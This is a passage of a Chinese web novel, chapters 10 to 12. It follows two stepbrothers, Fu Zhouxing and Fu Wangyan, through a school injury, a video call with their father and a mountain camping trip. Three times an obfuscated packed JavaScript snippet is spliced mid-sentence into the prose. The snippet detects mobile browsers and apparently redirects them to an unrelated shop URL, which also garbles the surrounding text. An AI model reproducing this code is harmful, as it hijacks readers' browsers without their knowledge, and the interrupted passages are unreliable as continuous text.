都说紧急情况下的反应最真实,难道这个也可以演出来吗? 这和他预想的不太一样,又乱了。 “你……为什么?” 傅舟行轻声问,声音里带着一丝极淡的、几乎无法捕捉的探究。 “什么?” 傅忘言愣了一下,随即以为他是在问自己为什么要说出来两个人的关系,他有些着急地解释,语速稍微快了点,“情况紧急,呃…他们欺负你,还说那么难听的话……我就是想替你解释……” 他顿了顿,眼神真诚地看着傅舟行,语气变得格外认真:“总之,他们的胡话你不用放在心上。” 傅舟行安静地听着,目光却不自觉地落在了傅忘言垂在身侧的,那双擦破皮的手上。 心底某个坚硬的角落,似乎被什么东西轻轻触碰了一下。一种陌生的、微暖的情绪,像一颗种子悄然滋生。 他这样努力,甚至弄得自己受伤,也要维护他,是因为家族名誉,还是……真的有几分是为了他傅舟行本身? 这个念头出现,傅舟行猛然发现,自己似乎无法像之前那样,完全冷静地将这一切归为演技了。 10. 第 10 章 在傅忘言依旧带着关切的絮语中,傅舟行垂下了眼帘,长长的睫毛掩去了眸中翻涌的复杂思绪。 “走了。” 他低声说,声音恢复了平时的淡漠。 傅忘言立刻跟上,依旧不放心地看着他的额头,语气软软的,带着商量:“真的没事吗?我们还是去一下医务室吧?让校医看看,上点药,不然发炎了或者留疤了多不好……” 他几次想伸手去轻轻拉傅舟行,都被对方不着痕迹地避开了。 傅忘言眨了眨眼,有点不解,但也没生气。他看着傅舟行紧绷的侧脸,想了想,忽然伸出没受伤的那只手,轻轻地、但态度有点小坚持地拉住了傅舟行的手腕。 傅舟行身体微僵,转头看他,眼神里带着询问。 傅忘言想,他是哥哥,强硬一点或许有效果。 所以……傅忘言说干就干。 他的双手直接控住傅舟行的脸颊,迫使其扭头和自己对视。傅舟行第一次遇到这样的,大脑保护机制还没反应过来,本能就先动起来了。他两只手紧紧抓住傅忘言的手腕,突然又松开些许,声线有些波动,“你做什么?” 两人一环扣着一环,保持这个你摸我脸我攥你手的姿势。 傅舟行没敢用什么力气,只是虚虚握着。 傅忘言也是借着哥哥这个称号狠狠出了一把威风,“看看你的伤呀,躲什么?” “小伤没事,过几天就好了。”傅舟行不太在意,毕竟这都是自己搞出来的——为了效果逼真。 本来指望那两个人给自己一拳,结果因为那两人太菜了,也只敢逞口舌之快。傅舟行没办法,顶着两人见鬼的目光特地找东西磕了一下。 这一下是控制了力道的,但是淤青看起来很吓人。 傅忘言却不依不饶,这叫什么话?难道一定要重伤才会上心?他摸着傅舟行的脸没放,耐心说:“你干嘛逞强?我要是晚来一步你怎么办呢?” 他边说边拉着傅舟行往外走,快到出口,明亮的光线涌来。傅忘言停下,脱下自己的外套,动作轻柔地盖在傅舟行的头上,细心地帮他遮住了额角的伤和大部分面容。 “我有点热,衣服你帮我拿着吧。” 傅忘言的声音温和,“我们悄悄去医务室,不会被人知道的。” 视野陡然被衣物覆盖,傅舟行愣了一瞬。竟就那样呆呆地,被傅忘言牵着往前走。 外套上带着淡淡的沐浴露气息,是薰衣草。安宁、沉静,像突如其来的安心咒,瞬间笼罩了他全身,让大脑空白了片刻——虽然只有短短几秒。 手腕上传来的力道是温和的,带着暖意。他被傅忘言牵着,沉默地走在稍后一步的位置,目光落在傅忘言牵着他的手上,以及另一只手上明显的擦伤。 傅忘言自己好像都忘了擦伤,只顾着牵他往前走,偶尔还会因为动作牵扯到伤口而轻轻吸一口气,却始终没有松开手。 操场上人群攒动,呼喊声一波接着一波。而教学楼旁边的小道异常安静,如傅忘言所说,的确不会被人看见。 肌肤相贴,傅舟行这个有着重度洁癖的人,第一反应竟不是“他抓了我的手”,而是:难道我和他用的不是同一款沐浴露吗? 为什么傅忘言衣服上的味道比他用的好闻。 …… 傅舟行还是被带到了医务室。 因为Alpha的恢复能力很快,上个酒精就行了。 校医看着傅忘言紧张兮兮守在旁边,忍不住笑了笑,“别太担心,对Alpha来说,这确实不算严重。” 身为Beta的傅忘言无法切身体会Alpha强悍的自愈能力,听校医这么笃定,才稍稍松了口气,但视线仍紧紧跟着校医消毒的动作。 “他也受伤了,麻烦给他看看吧。” 一直沉默地傅舟行突然出声。校医这才注意到另一位手上的情况,是个Beta,那必须要注意消毒才行。 “哦哦,我才看见,这位同学你怎么也不说啊,我看看啊…手腕没骨折,但是手掌上得消毒,来来来。” 一瓶酒精被放到桌面上,瓶盖打开,酒精刺鼻的气味飘散开。傅忘言反应过来,迅速将手背到后面,“我没事!我真的没事了!” 校医正用镊子夹着一块医用棉花浸泡在酒精里,听见这话也是笑出声了,“小同学,我是医生,你有没有事得我说了才算。” 就是傅忘言转身的功夫,衣袖就被傅舟行拉住怕,“跑什么?你不会怕痛吧?” 男子汉大丈夫! “没有……跑!”傅忘言底气不足,“我不怕。” “不怕就老老实实给人看。”傅舟行手腕一转,将他拉到椅子上。 不知道是不是为了防止他逃跑,傅舟行的手从他衣袖处变到了手腕处。 在酒精棉距离他的伤口还有1厘米的时候,傅忘言潜意识想抽手,却发现根本抽不动。 他惊恐地看向傅舟行,得到某人一个挑眉。 傅忘言:“!” …… 出校门的路上,傅忘言的外套顶到他自己的头上,直到上了车。 取下外套时,司机注意到了他红红的眼眶,还以为是眼睛里进了沙子什么的,没太在意。就顺道瞥了一眼傅舟行,刚好看到傅舟行贴着纱布的额头,直接吓了一跳。 “少爷,您这是……” “不小心磕了一下,没事的。”傅舟行平静地解释。 “对,校医看过了,说没事,很快就能好。”傅忘言在一旁连忙补充,笑容却有点勉强。 虽然傅忘言和傅舟行俩人都口供一致说没事,但是司机还是尽职地将此事汇报给了傅先生。 当晚,一直在外出差的傅先生立刻说要打视频电话。 “少爷,先生来电有话要与你说。” “哦,好的。” 两兄弟一起并排坐在沙发上,等着傅先生来电。 管家鞠躬,带着所有人都去忙其他的事务,给两位少爷留下了独处的空间。 视频接通,傅先生疲惫又紧张的面容出现在他们面前。 “小言,小舟额头上的伤是怎么回事?”他的目光首先落在傅忘言身上,语气里带着询问。 傅忘言的心一下子提了起来。他低下头,手指无意识地抠着沙发边缘,声音变得又轻又慢:“是…就是……” 他不知道该怎么说,难道要他说,傅舟行在学校被说是私生子,是因为被上次宴会上的合作伙伴拿出去当谈资了吗? 那万一不是呢,他该怎么开口……他不想无端猜测,更不想在父亲面前提起那些污秽的词汇,让父亲对傅舟行的处境产生不好的联想。各种念头在脑海里打架,让他一时语塞,只剩下紧张和愧疚。 “小言……”傅先生语气有些加重,“你就是这样照顾弟弟的吗?” 这句话像一根小刺,轻轻扎了一下傅忘言。他头垂得更低,肩膀微微塌了下去,浓密的睫毛颤动着,声音轻得几乎听不见:“对不……” “是我自己不小心磕的,走路被绊了一下。”傅舟行清冷的声音适时响起,打断了傅忘言未尽的话语。他看向屏幕,语气平淡无波,“他带我去包扎的,而且他也受伤了。” “原来是这样……” 傅先生紧绷的神色明显放松下来,他摘下眼镜,揉了揉眉心,语气缓和了许多,“小舟,以后要小心些。小言,你也是。我这边工作还需要一段时间,忙完了我就回去。你们有没有什么想要的礼物?爸爸给你们带。” 又是这句话,一到这种时候,就会搬出这句话来敷衍他。 傅忘言心里泛起一丝细微的涩意。 “礼物”似乎就成了弥补或转移话题的惯用方式,但他早已习惯。 傅忘言深吸一口气,像往常一样露出标准微笑,“没什么想要的,只想要你早点回来,回来的时候一路顺风。” 傅先生欣慰地笑了,又问傅舟行,“那小舟,你想要什么?” 手机被傅忘言递到了傅舟行手里,镜头也随之偏移。傅忘言安静地坐在沙发另一边,退出了画面的中心。离开了摄像头的捕捉范围,他脸上那抹刻意的笑容瞬间淡去,唇角无力地垂下,眉眼低敛。 客厅很安静,安静到傅舟行似乎能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297464|198600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见他轻不可闻的呼吸声,带着一种柔软的疲惫。 似乎从刚刚开始,傅忘言就被浓重的悲伤笼罩。傅舟行的目光一直在他身上,久久不能移开。他大概也能猜到是因为什么。 “小舟?小舟?” 听筒里面传来傅先生一遍又一遍地询问,傅舟行也只好先收回目光,做出思考的样子,“我想要……” “想要什么?” 傅舟行的眼睫几不可察地动了一下,他不自觉地又用余光瞥向身旁。 几秒后,他转回视线,对着屏幕平静地询问:“我想要什么都可以吗?” “当然了。” 那个低着头的侧影,似乎更缩紧了一些,嘴角微微下撇,两双手来回扣扣,像只被抛弃后无精打采的小动物。 果然,傅舟行心底那个猜测更清晰了些。 傅舟行收回目光,“我暂时还想不到,可以先欠着吗?” “好的。现在时间也不早了,你们早点休息吧,我过几天就回去。” 镜头重新调整,兄弟二人再次同框。傅忘言已然重新挂上那副无懈可击的乖巧笑脸,两人一起对着屏幕道了晚安。 视频挂断。 客厅恢复了寂静。两人互道一声简单的“晚安”,便各自起身回房。傅忘言走在前面,脚步有些轻,背影看起来依旧有些提不起精神。 继上次比赛过后,傅忘言距离毕业就快了。 而傅舟行,则因比赛后半程惊艳的反超和最终夺得的名次,意外地收获了不小的关注。许多人开始好奇这位突然冒出来的、相貌气质出众的黑马Alpha是哪家子弟,但探听之下皆无明确结果。 倒是有一条隐隐约约的小道消息在极小范围内流传,说傅舟行或许是傅家早年流落在外的血脉,近日才被寻回。 豪门秘辛向来是大众热衷的谈资,但缺乏确凿证据,这股热度也如潮水般,来得快,去得也快。傅舟行本人对此更是毫不在意,一切仿佛并未掀起太大波澜。 一月后,傅忘言也暂时结束了在学校的生活。 他正在收拾校服和一些书本。 “这些以后都用不上了,丢掉吧。” “好的,少爷。” 傅先生如约结束了差旅,返回家中。 佣人们提前忙碌起来,准备迎接男主人的归来。傅家上下洋溢着一种久违的、略显刻意的热闹气氛。然而,这份热闹似乎并未完全感染到两位少爷。傅忘言依旧有些心事重重,而傅舟行则一如既往的平静。 晚餐时分,长桌上摆满了精致的菜肴。 傅先生坐在主位,难得享受家庭时光,不时关切地问询几句。傅舟行的回答总是简洁疏离,傅忘言则显得有些心不在焉,他握着刀叉,目光落在餐盘上,却似乎没有焦点,只是机械地、缓慢地移动着餐具,偶尔切下一小块食物送入嘴里,有时候切了个寂寞往嘴里塞空气他都没察觉。 傅先生只当他最近在思考未来规划,便温和地开口:“小言,是不是在考虑未来方向?别有什么压力,无论你想做什么,爸爸都支持你。放心大胆去尝试就好。” “嗯?啊?” 傅忘言像是被从遥远的思绪中唤醒,有些茫然地眨了眨眼,看向父亲。他其实没太听清具体内容,但根据以往经验,这种时候只要乖巧应和就好。于是他努力集中精神,点了点头,露出一个柔软的笑容:“嗯,好的,谢谢爸爸。” 他回答得有些含糊,但傅先生并未深究,只当他是听进去了,便继续用餐。 晚餐吃到一半,傅忘言的手机屏幕亮了起来,是江竹白发来的信息。 【言言!为了庆祝我毕业!顾青昀说要带我去北山露营看星星!装备他都准备好了,听说那边晚上星空绝美,运气好说不定可以碰见流星雨欸!还能爬山看日出。我想着你在家无聊,不如正好出去放松一下,走不走!】 傅忘言低头看着手机屏幕上江竹白发来的邀请,想到能暂时离开家,和好朋友去山野间透透气,看看星星,嗯……也不错。 思考完毕,指尖轻轻落下,回复了一个简单的:【可以呀。】 11. 第 11 章 “小言,在跟谁聊天呢?这么开心。” 傅先生刚用完餐,正用热毛巾擦拭手指,抬眼便捕捉到了傅忘言脸上这转瞬即逝的轻松神色,不由得和声问道。 “啊,是小白。” 傅忘言抬起头,老实回答,声音里还残留着一点未散的笑意,“庆祝我们毕业嘛,他约我周末去北山露营,看星星,爬山。” “露营?北山那边风景是不错。” 傅先生点了点头,像是忽然想起什么,目光很自然地转向一旁安静用餐后正在喝水的傅舟行,“对了,我正好周末又要临时出趟差。小言,你既然是和朋友们一起去的,不如也带上小舟吧?你带他出去散散心。你们兄弟俩正好也可以多相处相处,我也顺便给他们放个几天假。” 傅忘言握着手机的手指微微收紧了一下,脸上那点轻松的笑意像是被风吹散的薄雾,迅速淡去。 事发突然,让他根本来不及掩藏真正的情绪。 “……啊?”他下意识地发出了一个短促的音节,眼睛眨了眨,似乎没完全消化这个突如其来的提议。 带傅舟行一起去?和江竹白他们?他想象了一下那个画面,心里莫名有些说不出的……别扭。 傅舟行那么沉默寡言的性子,他们……能玩到一块儿去吗? 而且这是江竹白第一次邀请他出去玩。 几乎是同时,傅舟行也放下了水杯,抬眼看向傅先生,语气平静但疏离:“不用了。我对露营没什么兴趣,周末在家看书就好。” 他拒绝得干脆利落,甚至没有多看傅忘言一眼。 傅先生却似乎打定了主意,他的目光落在傅忘言脸上,轻轻拍了拍傅忘言的肩,语气温和:“小言,你是哥哥。爸爸出差不在家,你多照顾照顾弟弟,带他出去走走看看,认识一下你的朋友,不是很好吗?” 哥哥照顾弟弟。 这几个字像是有重量,轻轻压在傅忘言的心上。 他又想起了视频通话时父亲那句“你就是这样照顾弟弟的吗”,所有细微的犹豫、私心的期盼,在这份被赋予的“责任”面前,好像都失去了坚持的理由。 之前傅舟行还没出现时,他尚可以用父亲太忙没空,所以父亲才这么冷淡来麻痹自己。现在傅舟行出现后,这种不被重视的落差感越来越明显。 是他太敏感了吗? 傅忘言垂下眼帘,浓密的睫毛遮住了眸中一闪而过的委屈。 再抬起头时,脸上已经恢复了那种惯常的、带着点乖巧温顺的神色,他没有试图再商量或争取,只是声音轻轻,“……好的。” 傅舟行正举着杯子喝水,听见这话,握着水杯的手指收紧了一瞬。他清晰地看到了傅忘言那一刻的怔愣和迟疑,也敏锐地捕捉到了其他情绪。 他能感觉到,傅忘言并不想带他去。 这个认知让傅舟行心底掠过一丝极其细微的、连他自己都未必能清晰辨明的情绪。 但他面上丝毫不显,只是重新靠回椅背,目光平静地掠过傅忘言似乎突然变得有些沉默的侧脸,然后对傅先生淡淡道:“既然哥哥安排了,那我就去吧。” 事情就这样被定了下来。 回到房间,傅忘言坐在床边,看着手机上江竹白又发来的几条兴奋讨论装备和路线的消息,他犹豫了好一会儿,才慢慢打字回复:【小白,那个……我弟弟傅舟行周末可能也要一起去,可以吗?】 消息发出去后,他有些忐忑地等待着回复。心里乱糟糟的,他既不能拒绝爸爸也不能丢下傅舟行不管,他很害怕破坏这次出游影响朋友的心情。 “叮咚——” 屏幕亮起。 【当然可以。人越多越热闹嘛。】 而隔壁房间,傅舟行站在窗前,望着窗外沉沉的夜色。 露营?他确实没什么兴趣。人群,旷野,无意义的社交,都并非他所好。但他很在意傅忘言那瞬间黯淡下去的眼神,和他最后那句乖顺应答下的沉默。 明明不想要他去,人怎么可以这么矛盾, 傅舟行习惯性地开始思考,评估事件各种可能。或许,这也不全然是件无趣的事。至少,他能在一个更放松的环境里,继续观察他这个“哥哥”。 他开始查找资料,很快关于出北山露营区的详细资料、天气预测、地形图以及必要的装备清单全都出来。 药品…防蚊喷雾…防晒霜……他的目光冷静地扫过一行行信息,熟记在心。 无论傅忘言是否情愿,既然要去,他习惯将一切掌控在已知的范围内。电脑息屏,屏幕上倒映着他自己。不知怎的,眼前突然浮现出傅忘言低头回复消息时,那短暂浮现的笑意。 傅舟行的指尖在冰凉的鼠标边缘轻轻摩挲了一下,然后松开手,往后仰去。 …… 到了约定的日期,傅忘言早早就开始准备,虽然江竹白特地说了顾学委都将一切准备好了,让他只需要带个人就行了。但他不能真这样干啊,他收拾出了一个大背包里面塞满了零食,打算到目的地大家可以分着吃。 他满意地看着零食背包,然后开始苦恼穿什么衣服去,左边的白色带束脚长裤配条纹外套,右边的白T恤加牛仔裤。 左看右看,到底是运动风,还是休闲风难倒了傅忘言。但他想想,反正也不是就玩一天,他最后决定都带着,还有几套其他衣服,行李箱被塞的很满。 但是今天穿哪一套又成了世纪难题,他有选择困难症啊。之前在学校反正都要求套校服,周末他宅在家里都穿的睡衣,很随便。 “到底穿哪一套呢?”傅忘言对着一大橱柜的衣服发愁。 佣人阿姨端着温牛奶进来,看见他这副模样,忍俊不禁地提醒:“少爷,今天白天气温高,穿短裤舒服些。不过山上夜里肯定会冷,外套和长裤一定要带好。” 傅忘言恍然大悟:“是哦。” 他立刻舍弃了牛仔裤,抓起橱柜里那套蓝白水手服短裤。短裤长度在膝盖上方,恰到好处地露出他笔直纤细的小腿,线条流畅,肤色莹润。 他快速换好衣服,背着个小鲨鱼挎包站在穿衣镜前。 蓝白条纹衬得他肤色越发白皙透亮,水手领的设计带着几分乖巧的少年感,却又因短裤的款式而显得灵动活泼。 他对着镜子理了理额前微卷的碎发,昨晚太兴奋了没睡着,翻来覆去给头发都弄乱了。现在也没时间再找人上门给他整理了,随便扒拉扒拉就算了。 镜中的少年眼眸清澈,唇红齿白,整个人像一颗在晨光里沾着露水、清新又招人的小果子。 临近出发,傅忘言还是有点不放心。 毕竟他有点丢三落四的。 正当他低头检查行李箱里面有没有落下东西时,恰好傅舟行也从隔壁出来。 傅舟行的目光先是落到了那个大的行李箱上。 这小少爷怎么带这么多衣服,不像是出去游玩的,像是要参加什么时装大赛走秀去的。 然后下意识地目光移动到了傅忘言身上。 浓密的睫毛垂下,侧脸弧度柔和,毫无防备。随着翻找的动作,阳光不断跳跃在他柔软的发梢上。 蓝与白的色彩对比鲜明,映着走廊窗外透进的明亮天光,仿佛将整个夏日清晨的清新都披在了身上。 短裤下那双腿笔直修长,脚踝伶仃,套着一双干净的白色短袜和浅蓝色小球鞋。水手领微微敞开,露出一小截线条优美的锁骨和纤细的脖颈。让他一下没能移开视线。 那一瞬间,傅舟行感到自己的呼吸都停住了。 周围的环境和时速流动的都非常缓慢,慢到他只能看到这个人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297465|198600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他所有的情绪都被完美地收敛在那张波澜不惊的面孔之下。他的视线只在傅忘言身上停留了一会,便已平静无波地移开,仿佛只是随意一瞥。 傅舟行穿着最简单的深灰色运动长裤和白色运动外套,身形挺拔,气质冷峻,与傅忘言那身明亮活泼的装扮形成了鲜明对比。 “走吧。” 傅舟行的声音听不出任何异样,傅忘言“哦”了一声,赶忙合上行李箱站起来,还没拉动拉杆,行李箱就被傅舟行非常自然地拿起下楼。 傅忘言反应过来,连忙跟上,浅蓝色小球鞋踩在楼梯上发出轻微的哒哒声。 司机将他们送到北山脚下的指定集合点时,时间尚早。然而,预想中只有江竹白和顾青昀两人的场面并未出现。 集合点熙熙攘攘,竟聚集了七八个人。 除了眼巴巴望着路口、一看到傅忘言就用力挥手的江竹白,和站在他身旁、脸色明显有些沉郁的顾青昀之外,还有几张傅忘言熟悉或半生不熟的同校面孔。 “言言!这里!” 江竹白小跑过来,圆眼睛笑得弯弯的,目光在扫到傅忘言身后的傅舟行时,好奇地多停留了一瞬,随即礼貌打招呼,“你就是傅忘言的弟弟吧,你好,欢迎加入。” 傅舟行只是淡淡地点了下头,算是回应,目光平静地扫过在场众人。 等等?他看到了什么?这人还带了几个保镖? 顾青昀也走了过来,他对傅忘言客气地笑了笑,但笑容未达眼底,尤其在看到傅舟行以及旁边多出来的那几个人时,眉头很明显地蹙紧了。不加掩饰的那种,但很快被压下去。 “你们来了。” 顾青昀的声音还算温和,但语气里透着些许无奈,就这几个字,他说得都有些勉强。 江竹白解释道,“路上刚好碰到班长他们几个,听说我们也要来北山,聊了几句,他们那队人不多,索性就提议一起了,人多乐趣多嘛。” 傅忘言这才看清,旁边站着的正是他们班的班长和学习委员,还有另外两个不太熟但脸熟的同学。 大家互相打着招呼,气氛看似热闹,实则透着几分临时拼凑的尴尬。 “没想到转校生,是你弟弟啊哈哈哈……” “前几天还看论坛上讨论过呢……” “讨论什么的?” “有人看见傅忘言少爷某天拉着转校生去医务室,猜测他们是……” 谈话间,一些零星字眼飘进傅忘言耳里,那些人有点尴尬地笑笑。 傅忘言也微笑回应,又悄咪咪看向江竹白。江竹白对他眨了眨眼,小幅度地耸耸肩,表示真的是意外碰见的。 “小白,那些人是干嘛的啊?”傅忘言小声问,他也看见了那群站得笔直的人,凶神恶煞的。 “哦,他们啊……”江竹白看了一眼,“帮我们拿东西的,锅帐篷食材,行李箱那些,拿着行李箱爬山很费劲啊,他们负责先将东西拿上去。” “哦哦。”傅忘言懂了,毕竟江竹白身后的行李摞了老高。 真好啊,被人重视的感觉。 “小白,我觉得爸爸一点都不在乎我。” “什么?”江竹白心思飘远,明显没在听。 “算了没什么。”傅忘言忙觉得这开心日子不该提这些扫兴的话,打个哈哈就过去了。 很快他们进入下一个话题,聊的热火朝天。 而傅舟行,则安静地立在稍远一点的位置,冷眼旁观着他们两人的小动作,将背包往上提了提。 原本以为只是简单的几人行,现在看来,变数比他预想的还要多。 山风拂过,带着草木的气息。 傅忘言难掩内心的激动,虽然不是四人行,但只要是和盆友在一起他就开心。 希望能愉快度过这几天。 12. 第 12 章 爬山是一个很消耗体力的活动。 幸好大部分行李箱找人护送,不然他们爬一天都不一定能登顶。 路程没开始多久,有Omega就开始大喘气,傅忘言虽然身为Beta,但从小疏于锻炼,能爬到半山腰都是自己毅力坚强。 傅舟行老早就发现他的呼吸声不对劲,这种时候他不好直接上去套近乎,毕竟傅忘言还没到那种下一秒没人扶着就立刻晕倒的程度。 临近中午时分,阳光当头,大家继续往上走。时间一长,有外套的将外套脱下系在腰上,傅舟行后面已经开始被汗水浸湿,他不仅背着傅忘言的零食包,手里还拿着自己的。 两个背包的重量都没让他脚步变慢,他还是走在傅忘言前面。 傅舟行很好奇某位少爷可以坚持多久,便刻意放慢脚步,走在了傅忘言稍后一些的位置。 这个视角一切都明朗了。 傅忘言微微弯着腰,后背隐约可以看出来出汗的痕迹。每次踏上一个台阶,小腿肌肉都会绷紧。走几步就要来个大喘气,还要捶捶大腿。 看傅忘言艰难上台阶的样子,他忍不住神游。傅忘言穿的一身其实根本不适合爬山,一旦不小心摔倒了什么的,膝盖手肘将会无一幸免。也不知道这个小少爷怎么想的,为了可爱好看竟然连人身安全都抛弃。 傅舟行懒得管他,又加快步伐朝前走去。 路程他们已经走了三分之二。有人提议去买点水,得到一众肯定,大家就地歇脚。 傅忘言也撑着膝盖喘气,他扫了一眼大家,发现只有他什么都没拎着。他的背包都在傅舟行那里,还记得出门前他还对傅舟行承诺,到了地方他就可以自己背,没想到爬忘记了,看傅舟行也没有要提醒他的意思。 台阶上零零散散坐着些人,江竹白和顾青昀不知道在聊什么,表情奇奇怪怪的。 他深呼吸几口空气缓了缓,慢慢挪到傅舟行旁边,伸出手,“给我背吧,我忘记我的包还在你这了。你累不累?你的也给我吧。” 傅舟行没给他,用审视的目光盯着他看。 仔细看不难发现,傅忘言的额头、脖子上布满了细汗,小脸蛋红扑扑的,穿的短裤让人很轻松地发现两腿在轻微打颤。 就傅忘言这样细胳膊细腿的,光自己一个人爬山就已经累死累活,像下一秒就能原地飞升的,更别说再背着他那装满衣服旅行包。 还要背着他那一份?开什么玩笑。 傅舟行正头脑风暴怎么将这段伤人的话转换成一种可以让傅忘言自己知难而退的语言,就被跑回来的人塞了一瓶水。 “一人一瓶啊,老贵了我的天。” 傅忘言的注意力又被吸引走。 “谢谢你啊。” 一瓶普通的矿泉水,在旅游景点身价竟然翻了好几倍。刚浪费这么多体力极度口渴下也就不挑了,傅忘言扭开一瓶咕嘟咕嘟喝。 这么着急喝肯定会呛着,傅舟行心里说着。 “咳咳咳!” 看吧,果然。 他勉为其难放下书包,走到傅忘言身侧,伸出手去拍拍他的背,给人顺气。 傅忘言本来咳几下就好了,看见傅舟行这贴心的动作就跟见了鬼似的,咳的更厉害了。 其他人也不知道发生了什么,嘴上关心两句就各自聊天了。 傅舟行动作没停,咳嗽声好一会才停下来。 “距离我们到山顶还要爬半个小时吧,言言,你还能坚持吗?”江竹白跑过来,顾青昀在他后面寸步不离地跟着。两兄弟刚刚也不知道聊了什么,反正气氛没有那么紧张了。 “可以的。”傅忘言已经缓过来了,他搭上傅舟行的手背拍了拍,小声说:“好啦好啦,我没事了。” 力度太轻,就跟摸了摸小手似的。 傅舟行被“摸”了好几下才收回手,背起一个包又拎着一个包,走在前头。完全把傅忘言刚刚要自己背包的请求忽视了,不知道是因为打岔忘记了,还是故意。 一行人休息好了又继续出发。 看着傅舟行闷头走的模样,傅忘言不知道从哪里掏出一张免费搭帐篷传单,叠来叠去变成一把小扇子,屁颠屁颠跟在傅舟行旁边扇风。 他微微仰着脸,额前的碎发被汗水濡湿,黏在光洁的额角,脸蛋依旧红扑扑的,呼吸还未完全平复。 “你热不热?累不累?” 傅舟行目视前方,步伐未停,只简短地回了一个字:“不。” 傅忘言有些气馁,扇风的动作却不曾停下。他想了想,干脆转过身,倒退着走在傅舟行前方,一边倒退一边继续给他扇风,这样能更好地观察对方的表情。 虽然傅舟行脸上通常没什么表情。 他试图寻找话题,分散自己对疲惫的注意力:“你看,那边的云好像棉花糖……不知道山顶有没有卖冰镇饮料的……小白说晚上我们可以烤东西吃……” 说一两句还喘几下的,傅舟行越听越恼。 不过傅忘言是个缺心眼的,一直倒退小嘴叭叭个不停,脚下没长眼,疑心只顾着看傅舟行了,没留意到身后台阶上一块略凸起的石块。 “不负众望”地踩上去,脚底打滑。 “哎——!” 脚踝处传来一阵尖锐的刺痛,傅忘言惊呼一声,身体瞬间失去平衡,整个人不受控制地向后栽倒。 一切发生在电光石火之间。 预想中摔在坚硬石阶上的疼痛并未传来。一只结实有力的手臂及时环住了他的腰,猛地将他向后拉拽,另一只手则迅速扶住了他几乎要扭曲的手臂,稳住了他踉跄的身形。 傅忘言惊魂未定,后背撞进了一个温热而坚硬的胸膛,鼻尖萦绕着一股清冽又带着点汗意的、薄荷气息。 “笨蛋,不要倒着走,看路。” 头顶传来傅舟行微沉的声音,听不出什么情绪,但扶在他腰侧和手臂上的力道却并未立刻松开。 傅忘言心脏还在怦怦直跳,脚踝处传来阵阵钻心的疼,让他忍不住倒吸一口凉气,漂亮的眉毛紧紧拧在了一起。“脚……疼疼疼……” 声音里不自觉带上痛楚的颤音。 跟小猫在心尖上挠了两下似的,傅舟行手紧了紧。 该死的,他偏偏算漏了这个。 走在前面的江竹白等人闻声也急忙折返回来。“言言!怎么了?” 傅舟行已经松开了环住他腰的手,但依旧扶着他的手臂,让他单脚站稳。他蹲下身,毫不避讳地握住了傅忘言那只受伤的脚踝。 触手是细腻温热的皮肤,脚踝处已经迅速红肿起来,在白皙肤色的映衬下格外刺眼。 傅舟行的眉头轻蹙一下。他动作不算特别轻柔,甚至有些强硬地捏了捏伤处,检查骨头的情况。 “嘶——” 傅忘言眼泪都快出来了,下意识想缩回脚,却被傅舟行牢牢握住。 和上次预想的一样,傅忘言的脚踝,他一只手就可以圈住。 “骨头应该没事,” 傅舟行迅速做出判断,声音依旧平稳,但语速比平时快了些许,“软组织挫伤。” 他站起身,目光扫过傅忘言疼得发白的小脸和那只不敢沾地的脚,又看了看前方还有一段距离的山顶,以及身后蜿蜒的下山路。他沉默了两秒,似乎在快速权衡。 接着,在众人关切的目光中,傅舟行做出了一个让傅忘言意想不到的举动。 他先将傅忘言那只没受伤的胳膊拉过来,将自己一直拎在手里的那瓶水塞进他怀里。然后又将自己肩上的一个背包卸下,不由分说地挂在了傅忘言肩膀上,还帮他调整好了肩带长度。 “?” 傅忘言双手都拿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297466|198600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,肩上突然多了个沉甸甸的背包,整个人都懵了。 脚踝还在火辣辣地疼,委屈和难以置信涌上心头,声音都拔高了些,带着控诉:“我,我刚没瘸的时候问你要,你怎么不给我背?” 他眼圈有点红,不知道是疼的还是气的,配上那张汗湿泛红的小脸,看起来可怜极了。 已经把我委屈写在脸上了。 哦,一只炸毛的松鼠。 傅舟行微微歪头,很努力地克制自己去捏松鼠脸的冲动,内心忍不住偷笑。 现在倒是有点脾气了。 傅舟行深吸一口气,又看了傅忘言一眼,这一眼情绪没藏住,就连钝感力超强的傅忘言都看出来了,傅舟行的眼神仿佛在说:你怎么这么呆? 傅忘言更难过了。 “真是笨蛋……”傅舟行小声嘀咕一句,没有过多解释,先是脱下外套披在傅忘言头上,然后默默转过身,背对着他,微微屈膝,蹲了下来。 宽大的外套挡住了头顶的光线,形成一个安稳的阴影。 傅舟行偏过头,侧脸线条冷硬,声音没什么起伏,却清晰地传入傅忘言耳中:“上来,我背你。” 空气安静了一瞬。 